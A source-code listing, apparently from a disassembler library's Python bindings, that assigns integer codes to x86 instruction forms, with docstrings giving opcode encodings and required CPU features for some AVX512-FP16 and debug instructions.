``EVEX.LIG.F3.MAP5.W0 51 /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VSUBPH_XMM_K1Z_XMM_XMMM128B16: int = 4556
"""
``VSUBPH xmm1 {k1}{z}, xmm2, xmm3/m128/m16bcst``
``EVEX.128.MAP5.W0 5C /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VSUBPH_YMM_K1Z_YMM_YMMM256B16: int = 4557
"""
``VSUBPH ymm1 {k1}{z}, ymm2, ymm3/m256/m16bcst``
``EVEX.256.MAP5.W0 5C /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VSUBPH_ZMM_K1Z_ZMM_ZMMM512B16_ER: int = 4558
"""
``VSUBPH zmm1 {k1}{z}, zmm2, zmm3/m512/m16bcst{er}``
``EVEX.512.MAP5.W0 5C /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VSUBSH_XMM_K1Z_XMM_XMMM16_ER: int = 4559
"""
``VSUBSH xmm1 {k1}{z}, xmm2, xmm3/m16{er}``
``EVEX.LIG.F3.MAP5.W0 5C /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VUCOMISH_XMM_XMMM16_SAE: int = 4560
"""
``VUCOMISH xmm1, xmm2/m16{sae}``
``EVEX.LIG.MAP5.W0 2E /r``
``AVX512-FP16``
``16/32/64-bit``
"""
RDUDBG: int = 4561
"""
``RDUDBG``
``0F 0E``
``UDBG``
``16/32/64-bit``
"""
WRUDBG: int = 4562
"""
``WRUDBG``
``0F 0F``
``UDBG``
``16/32/64-bit``
"""
| 13.336432 | 131 | 0.606806 |
INVALID: int = 0
DECLAREBYTE: int = 1
DECLAREWORD: int = 2
DECLAREDWORD: int = 3
DECLAREQWORD: int = 4
ADD_RM8_R8: int = 5
ADD_RM16_R16: int = 6
ADD_RM32_R32: int = 7
ADD_RM64_R64: int = 8
ADD_R8_RM8: int = 9
ADD_R16_RM16: int = 10
ADD_R32_RM32: int = 11
ADD_R64_RM64: int = 12
ADD_AL_IMM8: int = 13
ADD_AX_IMM16: int = 14
ADD_EAX_IMM32: int = 15
ADD_RAX_IMM32: int = 16
PUSHW_ES: int = 17
PUSHD_ES: int = 18
POPW_ES: int = 19
POPD_ES: int = 20
OR_RM8_R8: int = 21
OR_RM16_R16: int = 22
OR_RM32_R32: int = 23
OR_RM64_R64: int = 24
OR_R8_RM8: int = 25
OR_R16_RM16: int = 26
OR_R32_RM32: int = 27
OR_R64_RM64: int = 28
OR_AL_IMM8: int = 29
OR_AX_IMM16: int = 30
OR_EAX_IMM32: int = 31
OR_RAX_IMM32: int = 32
PUSHW_CS: int = 33
PUSHD_CS: int = 34
POPW_CS: int = 35
ADC_RM8_R8: int = 36
ADC_RM16_R16: int = 37
ADC_RM32_R32: int = 38
ADC_RM64_R64: int = 39
ADC_R8_RM8: int = 40
ADC_R16_RM16: int = 41
ADC_R32_RM32: int = 42
ADC_R64_RM64: int = 43
ADC_AL_IMM8: int = 44
ADC_AX_IMM16: int = 45
ADC_EAX_IMM32: int = 46
ADC_RAX_IMM32: int = 47
PUSHW_SS: int = 48
PUSHD_SS: int = 49
POPW_SS: int = 50
POPD_SS: int = 51
SBB_RM8_R8: int = 52
SBB_RM16_R16: int = 53
SBB_RM32_R32: int = 54
SBB_RM64_R64: int = 55
SBB_R8_RM8: int = 56
SBB_R16_RM16: int = 57
SBB_R32_RM32: int = 58
SBB_R64_RM64: int = 59
SBB_AL_IMM8: int = 60
SBB_AX_IMM16: int = 61
SBB_EAX_IMM32: int = 62
SBB_RAX_IMM32: int = 63
PUSHW_DS: int = 64
PUSHD_DS: int = 65
POPW_DS: int = 66
POPD_DS: int = 67
AND_RM8_R8: int = 68
AND_RM16_R16: int = 69
AND_RM32_R32: int = 70
AND_RM64_R64: int = 71
AND_R8_RM8: int = 72
AND_R16_RM16: int = 73
AND_R32_RM32: int = 74
AND_R64_RM64: int = 75
AND_AL_IMM8: int = 76
AND_AX_IMM16: int = 77
AND_EAX_IMM32: int = 78
AND_RAX_IMM32: int = 79
DAA: int = 80
SUB_RM8_R8: int = 81
SUB_RM16_R16: int = 82
SUB_RM32_R32: int = 83
SUB_RM64_R64: int = 84
SUB_R8_RM8: int = 85
SUB_R16_RM16: int = 86
SUB_R32_RM32: int = 87
SUB_R64_RM64: int = 88
SUB_AL_IMM8: int = 89
SUB_AX_IMM16: int = 90
SUB_EAX_IMM32: int = 91
SUB_RAX_IMM32: int = 92
DAS: int = 93
XOR_RM8_R8: int = 94
XOR_RM16_R16: int = 95
XOR_RM32_R32: int = 96
XOR_RM64_R64: int = 97
XOR_R8_RM8: int = 98
XOR_R16_RM16: int = 99
XOR_R32_RM32: int = 100
XOR_R64_RM64: int = 101
XOR_AL_IMM8: int = 102
XOR_AX_IMM16: int = 103
XOR_EAX_IMM32: int = 104
XOR_RAX_IMM32: int = 105
AAA: int = 106
CMP_RM8_R8: int = 107
CMP_RM16_R16: int = 108
CMP_RM32_R32: int = 109
CMP_RM64_R64: int = 110
CMP_R8_RM8: int = 111
CMP_R16_RM16: int = 112
CMP_R32_RM32: int = 113
CMP_R64_RM64: int = 114
CMP_AL_IMM8: int = 115
CMP_AX_IMM16: int = 116
CMP_EAX_IMM32: int = 117
CMP_RAX_IMM32: int = 118
AAS: int = 119
INC_R16: int = 120
INC_R32: int = 121
DEC_R16: int = 122
DEC_R32: int = 123
PUSH_R16: int = 124
PUSH_R32: int = 125
PUSH_R64: int = 126
POP_R16: int = 127
POP_R32: int = 128
POP_R64: int = 129
PUSHAW: int = 130
PUSHAD: int = 131
POPAW: int = 132
POPAD: int = 133
BOUND_R16_M1616: int = 134
BOUND_R32_M3232: int = 135
ARPL_RM16_R16: int = 136
ARPL_R32M16_R32: int = 137
MOVSXD_R16_RM16: int = 138
MOVSXD_R32_RM32: int = 139
MOVSXD_R64_RM32: int = 140
PUSH_IMM16: int = 141
PUSHD_IMM32: int = 142
PUSHQ_IMM32: int = 143
IMUL_R16_RM16_IMM16: int = 144
IMUL_R32_RM32_IMM32: int = 145
IMUL_R64_RM64_IMM32: int = 146
PUSHW_IMM8: int = 147
PUSHD_IMM8: int = 148
PUSHQ_IMM8: int = 149
IMUL_R16_RM16_IMM8: int = 150
IMUL_R32_RM32_IMM8: int = 151
IMUL_R64_RM64_IMM8: int = 152
INSB_M8_DX: int = 153
INSW_M16_DX: int = 154
INSD_M32_DX: int = 155
OUTSB_DX_M8: int = 156
OUTSW_DX_M16: int = 157
OUTSD_DX_M32: int = 158
JO_REL8_16: int = 159
JO_REL8_32: int = 160
JO_REL8_64: int = 161
JNO_REL8_16: int = 162
JNO_REL8_32: int = 163
JNO_REL8_64: int = 164
JB_REL8_16: int = 165
JB_REL8_32: int = 166
JB_REL8_64: int = 167
JAE_REL8_16: int = 168
JAE_REL8_32: int = 169
JAE_REL8_64: int = 170
JE_REL8_16: int = 171
JE_REL8_32: int = 172
JE_REL8_64: int = 173
JNE_REL8_16: int = 174
JNE_REL8_32: int = 175
JNE_REL8_64: int = 176
JBE_REL8_16: int = 177
JBE_REL8_32: int = 178
JBE_REL8_64: int = 179
JA_REL8_16: int = 180
JA_REL8_32: int = 181
JA_REL8_64: int = 182
JS_REL8_16: int = 183
JS_REL8_32: int = 184
JS_REL8_64: int = 185
JNS_REL8_16: int = 186
JNS_REL8_32: int = 187
JNS_REL8_64: int = 188
JP_REL8_16: int = 189
JP_REL8_32: int = 190
JP_REL8_64: int = 191
JNP_REL8_16: int = 192
JNP_REL8_32: int = 193
JNP_REL8_64: int = 194
JL_REL8_16: int = 195
JL_REL8_32: int = 196
JL_REL8_64: int = 197
JGE_REL8_16: int = 198
JGE_REL8_32: int = 199
JGE_REL8_64: int = 200
JLE_REL8_16: int = 201
JLE_REL8_32: int = 202
JLE_REL8_64: int = 203
JG_REL8_16: int = 204
JG_REL8_32: int = 205
JG_REL8_64: int = 206
ADD_RM8_IMM8: int = 207
OR_RM8_IMM8: int = 208
ADC_RM8_IMM8: int = 209
SBB_RM8_IMM8: int = 210
AND_RM8_IMM8: int = 211
SUB_RM8_IMM8: int = 212
XOR_RM8_IMM8: int = 213
CMP_RM8_IMM8: int = 214
ADD_RM16_IMM16: int = 215
ADD_RM32_IMM32: int = 216
ADD_RM64_IMM32: int = 217
OR_RM16_IMM16: int = 218
OR_RM32_IMM32: int = 219
OR_RM64_IMM32: int = 220
ADC_RM16_IMM16: int = 221
ADC_RM32_IMM32: int = 222
ADC_RM64_IMM32: int = 223
SBB_RM16_IMM16: int = 224
SBB_RM32_IMM32: int = 225
SBB_RM64_IMM32: int = 226
AND_RM16_IMM16: int = 227
AND_RM32_IMM32: int = 228
AND_RM64_IMM32: int = 229
SUB_RM16_IMM16: int = 230
SUB_RM32_IMM32: int = 231
SUB_RM64_IMM32: int = 232
XOR_RM16_IMM16: int = 233
XOR_RM32_IMM32: int = 234
XOR_RM64_IMM32: int = 235
CMP_RM16_IMM16: int = 236
CMP_RM32_IMM32: int = 237
CMP_RM64_IMM32: int = 238
ADD_RM8_IMM8_82: int = 239
OR_RM8_IMM8_82: int = 240
ADC_RM8_IMM8_82: int = 241
SBB_RM8_IMM8_82: int = 242
AND_RM8_IMM8_82: int = 243
SUB_RM8_IMM8_82: int = 244
XOR_RM8_IMM8_82: int = 245
CMP_RM8_IMM8_82: int = 246
ADD_RM16_IMM8: int = 247
ADD_RM32_IMM8: int = 248
ADD_RM64_IMM8: int = 249
OR_RM16_IMM8: int = 250
OR_RM32_IMM8: int = 251
OR_RM64_IMM8: int = 252
ADC_RM16_IMM8: int = 253
ADC_RM32_IMM8: int = 254
ADC_RM64_IMM8: int = 255
SBB_RM16_IMM8: int = 256
SBB_RM32_IMM8: int = 257
SBB_RM64_IMM8: int = 258
AND_RM16_IMM8: int = 259
AND_RM32_IMM8: int = 260
AND_RM64_IMM8: int = 261
SUB_RM16_IMM8: int = 262
SUB_RM32_IMM8: int = 263
SUB_RM64_IMM8: int = 264
XOR_RM16_IMM8: int = 265
XOR_RM32_IMM8: int = 266
XOR_RM64_IMM8: int = 267
CMP_RM16_IMM8: int = 268
CMP_RM32_IMM8: int = 269
CMP_RM64_IMM8: int = 270
TEST_RM8_R8: int = 271
TEST_RM16_R16: int = 272
TEST_RM32_R32: int = 273
TEST_RM64_R64: int = 274
XCHG_RM8_R8: int = 275
XCHG_RM16_R16: int = 276
XCHG_RM32_R32: int = 277
XCHG_RM64_R64: int = 278
MOV_RM8_R8: int = 279
MOV_RM16_R16: int = 280
MOV_RM32_R32: int = 281
MOV_RM64_R64: int = 282
MOV_R8_RM8: int = 283
MOV_R16_RM16: int = 284
MOV_R32_RM32: int = 285
MOV_R64_RM64: int = 286
MOV_RM16_SREG: int = 287
MOV_R32M16_SREG: int = 288
MOV_R64M16_SREG: int = 289
LEA_R16_M: int = 290
LEA_R32_M: int = 291
LEA_R64_M: int = 292
MOV_SREG_RM16: int = 293
MOV_SREG_R32M16: int = 294
MOV_SREG_R64M16: int = 295
POP_RM16: int = 296
POP_RM32: int = 297
POP_RM64: int = 298
NOPW: int = 299
NOPD: int = 300
NOPQ: int = 301
XCHG_R16_AX: int = 302
XCHG_R32_EAX: int = 303
XCHG_R64_RAX: int = 304
PAUSE: int = 305
CBW: int = 306
CWDE: int = 307
CDQE: int = 308
CWD: int = 309
CDQ: int = 310
CQO: int = 311
CALL_PTR1616: int = 312
CALL_PTR1632: int = 313
WAIT: int = 314
PUSHFW: int = 315
PUSHFD: int = 316
PUSHFQ: int = 317
POPFW: int = 318
POPFD: int = 319
POPFQ: int = 320
SAHF: int = 321
LAHF: int = 322
MOV_AL_MOFFS8: int = 323
MOV_AX_MOFFS16: int = 324
MOV_EAX_MOFFS32: int = 325
MOV_RAX_MOFFS64: int = 326
MOV_MOFFS8_AL: int = 327
MOV_MOFFS16_AX: int = 328
MOV_MOFFS32_EAX: int = 329
MOV_MOFFS64_RAX: int = 330
MOVSB_M8_M8: int = 331
MOVSW_M16_M16: int = 332
MOVSD_M32_M32: int = 333
MOVSQ_M64_M64: int = 334
CMPSB_M8_M8: int = 335
CMPSW_M16_M16: int = 336
CMPSD_M32_M32: int = 337
CMPSQ_M64_M64: int = 338
TEST_AL_IMM8: int = 339
TEST_AX_IMM16: int = 340
TEST_EAX_IMM32: int = 341
TEST_RAX_IMM32: int = 342
STOSB_M8_AL: int = 343
STOSW_M16_AX: int = 344
STOSD_M32_EAX: int = 345
STOSQ_M64_RAX: int = 346
LODSB_AL_M8: int = 347
LODSW_AX_M16: int = 348
LODSD_EAX_M32: int = 349
LODSQ_RAX_M64: int = 350
SCASB_AL_M8: int = 351
SCASW_AX_M16: int = 352
SCASD_EAX_M32: int = 353
SCASQ_RAX_M64: int = 354
MOV_R8_IMM8: int = 355
MOV_R16_IMM16: int = 356
MOV_R32_IMM32: int = 357
MOV_R64_IMM64: int = 358
ROL_RM8_IMM8: int = 359
ROR_RM8_IMM8: int = 360
RCL_RM8_IMM8: int = 361
RCR_RM8_IMM8: int = 362
SHL_RM8_IMM8: int = 363
SHR_RM8_IMM8: int = 364
SAL_RM8_IMM8: int = 365
SAR_RM8_IMM8: int = 366
ROL_RM16_IMM8: int = 367
ROL_RM32_IMM8: int = 368
ROL_RM64_IMM8: int = 369
ROR_RM16_IMM8: int = 370
ROR_RM32_IMM8: int = 371
ROR_RM64_IMM8: int = 372
RCL_RM16_IMM8: int = 373
RCL_RM32_IMM8: int = 374
RCL_RM64_IMM8: int = 375
RCR_RM16_IMM8: int = 376
RCR_RM32_IMM8: int = 377
RCR_RM64_IMM8: int = 378
SHL_RM16_IMM8: int = 379
SHL_RM32_IMM8: int = 380
SHL_RM64_IMM8: int = 381
SHR_RM16_IMM8: int = 382
SHR_RM32_IMM8: int = 383
SHR_RM64_IMM8: int = 384
SAL_RM16_IMM8: int = 385
SAL_RM32_IMM8: int = 386
SAL_RM64_IMM8: int = 387
SAR_RM16_IMM8: int = 388
SAR_RM32_IMM8: int = 389
SAR_RM64_IMM8: int = 390
RETNW_IMM16: int = 391
RETND_IMM16: int = 392
RETNQ_IMM16: int = 393
RETNW: int = 394
RETND: int = 395
RETNQ: int = 396
LES_R16_M1616: int = 397
LES_R32_M1632: int = 398
LDS_R16_M1616: int = 399
LDS_R32_M1632: int = 400
MOV_RM8_IMM8: int = 401
XABORT_IMM8: int = 402
MOV_RM16_IMM16: int = 403
MOV_RM32_IMM32: int = 404
MOV_RM64_IMM32: int = 405
XBEGIN_REL16: int = 406
XBEGIN_REL32: int = 407
ENTERW_IMM16_IMM8: int = 408
ENTERD_IMM16_IMM8: int = 409
ENTERQ_IMM16_IMM8: int = 410
LEAVEW: int = 411
LEAVED: int = 412
LEAVEQ: int = 413
RETFW_IMM16: int = 414
RETFD_IMM16: int = 415
RETFQ_IMM16: int = 416
RETFW: int = 417
RETFD: int = 418
RETFQ: int = 419
INT3: int = 420
INT_IMM8: int = 421
INTO: int = 422
IRETW: int = 423
IRETD: int = 424
IRETQ: int = 425
ROL_RM8_1: int = 426
ROR_RM8_1: int = 427
RCL_RM8_1: int = 428
RCR_RM8_1: int = 429
SHL_RM8_1: int = 430
SHR_RM8_1: int = 431
SAL_RM8_1: int = 432
SAR_RM8_1: int = 433
ROL_RM16_1: int = 434
ROL_RM32_1: int = 435
ROL_RM64_1: int = 436
ROR_RM16_1: int = 437
ROR_RM32_1: int = 438
ROR_RM64_1: int = 439
RCL_RM16_1: int = 440
RCL_RM32_1: int = 441
RCL_RM64_1: int = 442
RCR_RM16_1: int = 443
RCR_RM32_1: int = 444
RCR_RM64_1: int = 445
SHL_RM16_1: int = 446
SHL_RM32_1: int = 447
SHL_RM64_1: int = 448
SHR_RM16_1: int = 449
SHR_RM32_1: int = 450
SHR_RM64_1: int = 451
SAL_RM16_1: int = 452
SAL_RM32_1: int = 453
SAL_RM64_1: int = 454
SAR_RM16_1: int = 455
SAR_RM32_1: int = 456
SAR_RM64_1: int = 457
ROL_RM8_CL: int = 458
ROR_RM8_CL: int = 459
RCL_RM8_CL: int = 460
RCR_RM8_CL: int = 461
SHL_RM8_CL: int = 462
SHR_RM8_CL: int = 463
SAL_RM8_CL: int = 464
SAR_RM8_CL: int = 465
ROL_RM16_CL: int = 466
ROL_RM32_CL: int = 467
ROL_RM64_CL: int = 468
ROR_RM16_CL: int = 469
ROR_RM32_CL: int = 470
ROR_RM64_CL: int = 471
RCL_RM16_CL: int = 472
RCL_RM32_CL: int = 473
RCL_RM64_CL: int = 474
RCR_RM16_CL: int = 475
RCR_RM32_CL: int = 476
RCR_RM64_CL: int = 477
SHL_RM16_CL: int = 478
SHL_RM32_CL: int = 479
SHL_RM64_CL: int = 480
SHR_RM16_CL: int = 481
SHR_RM32_CL: int = 482
SHR_RM64_CL: int = 483
SAL_RM16_CL: int = 484
SAL_RM32_CL: int = 485
SAL_RM64_CL: int = 486
SAR_RM16_CL: int = 487
SAR_RM32_CL: int = 488
SAR_RM64_CL: int = 489
AAM_IMM8: int = 490
AAD_IMM8: int = 491
SALC: int = 492
XLAT_M8: int = 493
FADD_M32FP: int = 494
FMUL_M32FP: int = 495
FCOM_M32FP: int = 496
FCOMP_M32FP: int = 497
FSUB_M32FP: int = 498
FSUBR_M32FP: int = 499
FDIV_M32FP: int = 500
FDIVR_M32FP: int = 501
FADD_ST0_STI: int = 502
FMUL_ST0_STI: int = 503
FCOM_ST0_STI: int = 504
FCOMP_ST0_STI: int = 505
FSUB_ST0_STI: int = 506
FSUBR_ST0_STI: int = 507
FDIV_ST0_STI: int = 508
FDIVR_ST0_STI: int = 509
FLD_M32FP: int = 510
FST_M32FP: int = 511
FSTP_M32FP: int = 512
FLDENV_M14BYTE: int = 513
FLDENV_M28BYTE: int = 514
FLDCW_M2BYTE: int = 515
FNSTENV_M14BYTE: int = 516
FSTENV_M14BYTE: int = 517
FNSTENV_M28BYTE: int = 518
FSTENV_M28BYTE: int = 519
FNSTCW_M2BYTE: int = 520
FSTCW_M2BYTE: int = 521
FLD_STI: int = 522
FXCH_ST0_STI: int = 523
FNOP: int = 524
FSTPNCE_STI: int = 525
FCHS: int = 526
FABS: int = 527
FTST: int = 528
FXAM: int = 529
FLD1: int = 530
FLDL2T: int = 531
FLDL2E: int = 532
FLDPI: int = 533
FLDLG2: int = 534
FLDLN2: int = 535
FLDZ: int = 536
F2XM1: int = 537
FYL2X: int = 538
FPTAN: int = 539
FPATAN: int = 540
FXTRACT: int = 541
FPREM1: int = 542
FDECSTP: int = 543
FINCSTP: int = 544
FPREM: int = 545
FYL2XP1: int = 546
FSQRT: int = 547
FSINCOS: int = 548
FRNDINT: int = 549
FSCALE: int = 550
FSIN: int = 551
FCOS: int = 552
FIADD_M32INT: int = 553
FIMUL_M32INT: int = 554
FICOM_M32INT: int = 555
FICOMP_M32INT: int = 556
FISUB_M32INT: int = 557
FISUBR_M32INT: int = 558
FIDIV_M32INT: int = 559
FIDIVR_M32INT: int = 560
FCMOVB_ST0_STI: int = 561
FCMOVE_ST0_STI: int = 562
FCMOVBE_ST0_STI: int = 563
FCMOVU_ST0_STI: int = 564
FUCOMPP: int = 565
FILD_M32INT: int = 566
FISTTP_M32INT: int = 567
FIST_M32INT: int = 568
FISTP_M32INT: int = 569
FLD_M80FP: int = 570
FSTP_M80FP: int = 571
FCMOVNB_ST0_STI: int = 572
FCMOVNE_ST0_STI: int = 573
FCMOVNBE_ST0_STI: int = 574
FCMOVNU_ST0_STI: int = 575
FNENI: int = 576
FENI: int = 577
FNDISI: int = 578
FDISI: int = 579
FNCLEX: int = 580
FCLEX: int = 581
FNINIT: int = 582
FINIT: int = 583
FNSETPM: int = 584
FSETPM: int = 585
FRSTPM: int = 586
FUCOMI_ST0_STI: int = 587
FCOMI_ST0_STI: int = 588
FADD_M64FP: int = 589
FMUL_M64FP: int = 590
FCOM_M64FP: int = 591
FCOMP_M64FP: int = 592
FSUB_M64FP: int = 593
FSUBR_M64FP: int = 594
FDIV_M64FP: int = 595
FDIVR_M64FP: int = 596
FADD_STI_ST0: int = 597
FMUL_STI_ST0: int = 598
FCOM_ST0_STI_DCD0: int = 599
FCOMP_ST0_STI_DCD8: int = 600
FSUBR_STI_ST0: int = 601
FSUB_STI_ST0: int = 602
FDIVR_STI_ST0: int = 603
FDIV_STI_ST0: int = 604
FLD_M64FP: int = 605
FISTTP_M64INT: int = 606
FST_M64FP: int = 607
FSTP_M64FP: int = 608
FRSTOR_M94BYTE: int = 609
FRSTOR_M108BYTE: int = 610
FNSAVE_M94BYTE: int = 611
FSAVE_M94BYTE: int = 612
FNSAVE_M108BYTE: int = 613
FSAVE_M108BYTE: int = 614
FNSTSW_M2BYTE: int = 615
FSTSW_M2BYTE: int = 616
FFREE_STI: int = 617
FXCH_ST0_STI_DDC8: int = 618
FST_STI: int = 619
FSTP_STI: int = 620
FUCOM_ST0_STI: int = 621
FUCOMP_ST0_STI: int = 622
FIADD_M16INT: int = 623
FIMUL_M16INT: int = 624
FICOM_M16INT: int = 625
FICOMP_M16INT: int = 626
FISUB_M16INT: int = 627
FISUBR_M16INT: int = 628
FIDIV_M16INT: int = 629
FIDIVR_M16INT: int = 630
FADDP_STI_ST0: int = 631
FMULP_STI_ST0: int = 632
FCOMP_ST0_STI_DED0: int = 633
FCOMPP: int = 634
FSUBRP_STI_ST0: int = 635
FSUBP_STI_ST0: int = 636
FDIVRP_STI_ST0: int = 637
FDIVP_STI_ST0: int = 638
FILD_M16INT: int = 639
FISTTP_M16INT: int = 640
FIST_M16INT: int = 641
FISTP_M16INT: int = 642
FBLD_M80BCD: int = 643
FILD_M64INT: int = 644
FBSTP_M80BCD: int = 645
FISTP_M64INT: int = 646
FFREEP_STI: int = 647
FXCH_ST0_STI_DFC8: int = 648
FSTP_STI_DFD0: int = 649
FSTP_STI_DFD8: int = 650
FNSTSW_AX: int = 651
FSTSW_AX: int = 652
FSTDW_AX: int = 653
FSTSG_AX: int = 654
FUCOMIP_ST0_STI: int = 655
FCOMIP_ST0_STI: int = 656
LOOPNE_REL8_16_CX: int = 657
LOOPNE_REL8_32_CX: int = 658
LOOPNE_REL8_16_ECX: int = 659
LOOPNE_REL8_32_ECX: int = 660
LOOPNE_REL8_64_ECX: int = 661
LOOPNE_REL8_16_RCX: int = 662
LOOPNE_REL8_64_RCX: int = 663
LOOPE_REL8_16_CX: int = 664
LOOPE_REL8_32_CX: int = 665
LOOPE_REL8_16_ECX: int = 666
LOOPE_REL8_32_ECX: int = 667
LOOPE_REL8_64_ECX: int = 668
LOOPE_REL8_16_RCX: int = 669
LOOPE_REL8_64_RCX: int = 670
LOOP_REL8_16_CX: int = 671
LOOP_REL8_32_CX: int = 672
LOOP_REL8_16_ECX: int = 673
LOOP_REL8_32_ECX: int = 674
LOOP_REL8_64_ECX: int = 675
LOOP_REL8_16_RCX: int = 676
LOOP_REL8_64_RCX: int = 677
JCXZ_REL8_16: int = 678
JCXZ_REL8_32: int = 679
JECXZ_REL8_16: int = 680
JECXZ_REL8_32: int = 681
JECXZ_REL8_64: int = 682
JRCXZ_REL8_16: int = 683
JRCXZ_REL8_64: int = 684
IN_AL_IMM8: int = 685
IN_AX_IMM8: int = 686
IN_EAX_IMM8: int = 687
OUT_IMM8_AL: int = 688
OUT_IMM8_AX: int = 689
OUT_IMM8_EAX: int = 690
CALL_REL16: int = 691
CALL_REL32_32: int = 692
CALL_REL32_64: int = 693
JMP_REL16: int = 694
JMP_REL32_32: int = 695
JMP_REL32_64: int = 696
JMP_PTR1616: int = 697
JMP_PTR1632: int = 698
JMP_REL8_16: int = 699
JMP_REL8_32: int = 700
JMP_REL8_64: int = 701
IN_AL_DX: int = 702
IN_AX_DX: int = 703
IN_EAX_DX: int = 704
OUT_DX_AL: int = 705
OUT_DX_AX: int = 706
OUT_DX_EAX: int = 707
INT1: int = 708
HLT: int = 709
CMC: int = 710
TEST_RM8_IMM8: int = 711
TEST_RM8_IMM8_F6R1: int = 712
NOT_RM8: int = 713
NEG_RM8: int = 714
MUL_RM8: int = 715
IMUL_RM8: int = 716
DIV_RM8: int = 717
IDIV_RM8: int = 718
TEST_RM16_IMM16: int = 719
TEST_RM32_IMM32: int = 720
TEST_RM64_IMM32: int = 721
TEST_RM16_IMM16_F7R1: int = 722
TEST_RM32_IMM32_F7R1: int = 723
TEST_RM64_IMM32_F7R1: int = 724
NOT_RM16: int = 725
NOT_RM32: int = 726
NOT_RM64: int = 727
NEG_RM16: int = 728
NEG_RM32: int = 729
NEG_RM64: int = 730
MUL_RM16: int = 731
MUL_RM32: int = 732
MUL_RM64: int = 733
IMUL_RM16: int = 734
IMUL_RM32: int = 735
IMUL_RM64: int = 736
DIV_RM16: int = 737
DIV_RM32: int = 738
DIV_RM64: int = 739
IDIV_RM16: int = 740
IDIV_RM32: int = 741
IDIV_RM64: int = 742
CLC: int = 743
STC: int = 744
CLI: int = 745
STI: int = 746
CLD: int = 747
STD: int = 748
INC_RM8: int = 749
DEC_RM8: int = 750
INC_RM16: int = 751
INC_RM32: int = 752
INC_RM64: int = 753
DEC_RM16: int = 754
DEC_RM32: int = 755
DEC_RM64: int = 756
CALL_RM16: int = 757
CALL_RM32: int = 758
CALL_RM64: int = 759
CALL_M1616: int = 760
CALL_M1632: int = 761
CALL_M1664: int = 762
JMP_RM16: int = 763
JMP_RM32: int = 764
JMP_RM64: int = 765
JMP_M1616: int = 766
JMP_M1632: int = 767
JMP_M1664: int = 768
PUSH_RM16: int = 769
PUSH_RM32: int = 770
PUSH_RM64: int = 771
SLDT_RM16: int = 772
SLDT_R32M16: int = 773
SLDT_R64M16: int = 774
STR_RM16: int = 775
STR_R32M16: int = 776
STR_R64M16: int = 777
LLDT_RM16: int = 778
LLDT_R32M16: int = 779
LLDT_R64M16: int = 780
LTR_RM16: int = 781
LTR_R32M16: int = 782
LTR_R64M16: int = 783
VERR_RM16: int = 784
VERR_R32M16: int = 785
VERR_R64M16: int = 786
VERW_RM16: int = 787
VERW_R32M16: int = 788
VERW_R64M16: int = 789
JMPE_RM16: int = 790
JMPE_RM32: int = 791
SGDT_M1632_16: int = 792
SGDT_M1632: int = 793
SGDT_M1664: int = 794
SIDT_M1632_16: int = 795
SIDT_M1632: int = 796
SIDT_M1664: int = 797
LGDT_M1632_16: int = 798
LGDT_M1632: int = 799
LGDT_M1664: int = 800
LIDT_M1632_16: int = 801
LIDT_M1632: int = 802
LIDT_M1664: int = 803
SMSW_RM16: int = 804
SMSW_R32M16: int = 805
SMSW_R64M16: int = 806
RSTORSSP_M64: int = 807
LMSW_RM16: int = 808
LMSW_R32M16: int = 809
LMSW_R64M16: int = 810
INVLPG_M: int = 811
ENCLV: int = 812
VMCALL: int = 813
VMLAUNCH: int = 814
VMRESUME: int = 815
VMXOFF: int = 816
PCONFIG: int = 817
MONITORW: int = 818
MONITORD: int = 819
MONITORQ: int = 820
MWAIT: int = 821
CLAC: int = 822
STAC: int = 823
ENCLS: int = 824
XGETBV: int = 825
XSETBV: int = 826
VMFUNC: int = 827
XEND: int = 828
XTEST: int = 829
ENCLU: int = 830
VMRUNW: int = 831
VMRUND: int = 832
VMRUNQ: int = 833
VMMCALL: int = 834
VMLOADW: int = 835
VMLOADD: int = 836
VMLOADQ: int = 837
VMSAVEW: int = 838
VMSAVED: int = 839
VMSAVEQ: int = 840
STGI: int = 841
CLGI: int = 842
SKINIT: int = 843
INVLPGAW: int = 844
INVLPGAD: int = 845
INVLPGAQ: int = 846
SETSSBSY: int = 847
SAVEPREVSSP: int = 848
RDPKRU: int = 849
WRPKRU: int = 850
SWAPGS: int = 851
RDTSCP: int = 852
MONITORXW: int = 853
MONITORXD: int = 854
MONITORXQ: int = 855
MCOMMIT: int = 856
MWAITX: int = 857
CLZEROW: int = 858
CLZEROD: int = 859
CLZEROQ: int = 860
RDPRU: int = 861
LAR_R16_RM16: int = 862
LAR_R32_R32M16: int = 863
LAR_R64_R64M16: int = 864
LSL_R16_RM16: int = 865
LSL_R32_R32M16: int = 866
LSL_R64_R64M16: int = 867
STOREALL: int = 868
LOADALL286: int = 869
SYSCALL: int = 870
CLTS: int = 871
LOADALL386: int = 872
SYSRETD: int = 873
SYSRETQ: int = 874
INVD: int = 875
WBINVD: int = 876
WBNOINVD: int = 877
CL1INVMB: int = 878
UD2: int = 879
RESERVEDNOP_RM16_R16_0F0D: int = 880
RESERVEDNOP_RM32_R32_0F0D: int = 881
RESERVEDNOP_RM64_R64_0F0D: int = 882
PREFETCH_M8: int = 883
PREFETCHW_M8: int = 884
PREFETCHWT1_M8: int = 885
FEMMS: int = 886
UMOV_RM8_R8: int = 887
UMOV_RM16_R16: int = 888
UMOV_RM32_R32: int = 889
UMOV_R8_RM8: int = 890
UMOV_R16_RM16: int = 891
UMOV_R32_RM32: int = 892
MOVUPS_XMM_XMMM128: int = 893
VEX_VMOVUPS_XMM_XMMM128: int = 894
VEX_VMOVUPS_YMM_YMMM256: int = 895
EVEX_VMOVUPS_XMM_K1Z_XMMM128: int = 896
EVEX_VMOVUPS_YMM_K1Z_YMMM256: int = 897
EVEX_VMOVUPS_ZMM_K1Z_ZMMM512: int = 898
MOVUPD_XMM_XMMM128: int = 899
VEX_VMOVUPD_XMM_XMMM128: int = 900
VEX_VMOVUPD_YMM_YMMM256: int = 901
EVEX_VMOVUPD_XMM_K1Z_XMMM128: int = 902
EVEX_VMOVUPD_YMM_K1Z_YMMM256: int = 903
EVEX_VMOVUPD_ZMM_K1Z_ZMMM512: int = 904
MOVSS_XMM_XMMM32: int = 905
VEX_VMOVSS_XMM_XMM_XMM: int = 906
VEX_VMOVSS_XMM_M32: int = 907
EVEX_VMOVSS_XMM_K1Z_XMM_XMM: int = 908
